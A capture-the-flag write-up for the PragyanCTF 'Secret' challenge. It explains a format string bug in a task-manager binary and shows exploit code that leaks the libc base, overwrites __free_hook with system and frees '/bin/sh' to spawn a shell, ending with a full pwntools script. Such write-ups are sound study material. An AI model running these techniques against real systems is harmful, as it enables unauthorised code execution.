[PragyanCTF] Secret
This is a very good challange to polish and/or improve your format string
skills. But since the CTF’s server got hacked and couldn’t exploit their server, I tried to at least write an exploit for the program locally with libc 2.30
.
I first checked what security features are enabled in the binary.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
I then opened the binary in Ghidra and started looking through the decompiled code. After some time looking through the code, I found what I was looking for… A vulnerability I could exploit.
In the function show_task
, I found this:
void show_tasks(task *current) {
printf("\n\nName: %s\n",current->name);
printf("Date: %s\n",current->num);
printf("Length: %d\n",current->desc_length);
printf("Description: ");
printf(current->desc);
return;
}
The vulnerable line of code is
printf(current->desc);
with a format string
vunerability
Then my first thought was to look in the binary symbols for the function system
; with no success. This led me to believe that I should start the exploit by leaking the libc base
address.
So now that I have a basic understanding of the binary I can think of the attack:
- Leak
libc base
address - Write the
system
function’s address in the__free_hook
- Free an address the points to the string
/bin/sh
In step 2 I could have as easily overwriten the GOT entry of some funtion, since the binary only has
Partial RELRO
; but I wanted to try something different with the hook functions I have read about.
Before I start I created 3 functions to interface with the 3 main functionalities of the binary:
- Create Task
- Remove Task
- Display Tasks
Step 1
I found an address on the stack at the 35th
place which points 249
bytes after the start of __libc_start_main
createTask('pwned', '/bin/bash\x00', 10, '%35$x')
libc_start_main = int(re.findall('Description: (.*)', displayTasks())[0], 16) - 249
libc_base = libc_start_main - elf.libc.symbols['__libc_start_main']
So after a simple substruction I was able to obtain the libc base
address
Step 2
This was by far the hardest step in the process. Writing system
’s address in __free_hook
. I was not able to just put the address I wanted to overwrite (__free_hook
) on the the stack because simply my input was never saved on the stack; it went straight onto the heap. So my next option was to find an address on the stack (2nd
place) that points to another address on the stack (9th
place).
Since the address that I wanted to overwrite (9th
place) on the stack had a chance to have the same highest 2 bytes as the __free_hooks
, I just written the lowest 2 bytes.
createTask('AAAA', 'BBBB', 0xffff, 'A' * (free_hook & 0x0000ffff) + '%2$hn')
Then because I couldn’t just write that huge of a number (address of system
) in one go, I split it into 2 seperate writes. In the first one I wrote the lowest 2 bytes of system
, changed the address I had on the stack to point 2 bytes forword so I was able to write the highest 2 bytes of system
in the __free_hook
createTask('DDDD', 'EEEE', 0xffff, 'A' * (system_libc & 0x0000ffff) + '%9$hn')
createTask('FFFF', 'GGGG', 200, 'A' * ((free_hook & 0x000000ff) + 2) + '%2$hhn')
createTask('HHHH', 'IIII', 0xffff, 'A' * ((system_libc & 0xffff0000) >> 16) + '%9$hn')
After all this I triggered the the format string exploit
with displayTasks()
.
Step 3
What is now left to do is just free an address that has the string /bin/sh
written in it. Luckly in the remove_task
function,
memset(task_ptr->name,0,0x40);
task_ptr->enabled = 0;
task_ptr->desc_length = 0;
free(task_ptr->num);
free(task_ptr->desc);
printf("Removed %s",removename);
the first thing that is freed is the num
field of the task structure
which is the date
that is asked when creating a task.
The 1st task I created had /bin/sh
in the date
or num
field, so as soon as that is freed, system
will be executed with /bin/sh
giving us a shell!!
removeTask('pwned')
Below is the full xpl.py
script:
#!/usr/bin/python
from pwn import *
import re
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./task')
gdbscript = '''
init-gef
c
'''
def start():
if args.GDB: return gdb.debug(elf.path, gdbscript)
else: return process(elf.path)
io = start()
def createTask(name, date, descLen, desc):
io.sendlineafter(':', '1')
io.sendlineafter(':', name)
io.sendlineafter(':', date)
io.sendlineafter(':', str(descLen))
io.sendlineafter(':', desc)
def removeTask(name):
io.sendlineafter(':', '2')
io.sendlineafter(':', name)
def displayTasks():
io.sendlineafter(':', '3')
return io.recvuntil('1.')[:-2]
# Leak libc base address
createTask('pwned', '/bin/bash\x00', 10, '%35$x')
libc_start_main = int(re.findall('Description: (.*)', displayTasks())[0], 16) - 249
libc_base = libc_start_main - elf.libc.symbols['__libc_start_main']
log.success('libc_start_main: 0x%x' % libc_start_main)
log.success('libc base: 0x%x' % libc_base)
# Overide __free_hook with system
system_libc = libc_base + elf.libc.symbols['system']
free_hook = libc_base + elf.libc.symbols['__free_hook']
log.success('system: 0x%x' % system_libc)
log.success('__free_hook: 0x%x' % (free_hook))
# Write __free_hook addr on the stack
createTask('AAAA', 'BBBB', 0xffff, 'A' * (free_hook & 0x0000ffff) + '%2$hn')
log.success("Ready to overwrite __free_hook")
createTask('DDDD', 'EEEE', 0xffff, 'A' * (system_libc & 0x0000ffff) + '%9$hn')
createTask('FFFF', 'GGGG', 200, 'A' * ((free_hook & 0x000000ff) + 2) + '%2$hhn')
createTask('HHHH', 'IIII', 0xffff, 'A' * ((system_libc & 0xffff0000) >> 16) + '%9$hn')
displayTasks()
removeTask('pwned')
io.interactive()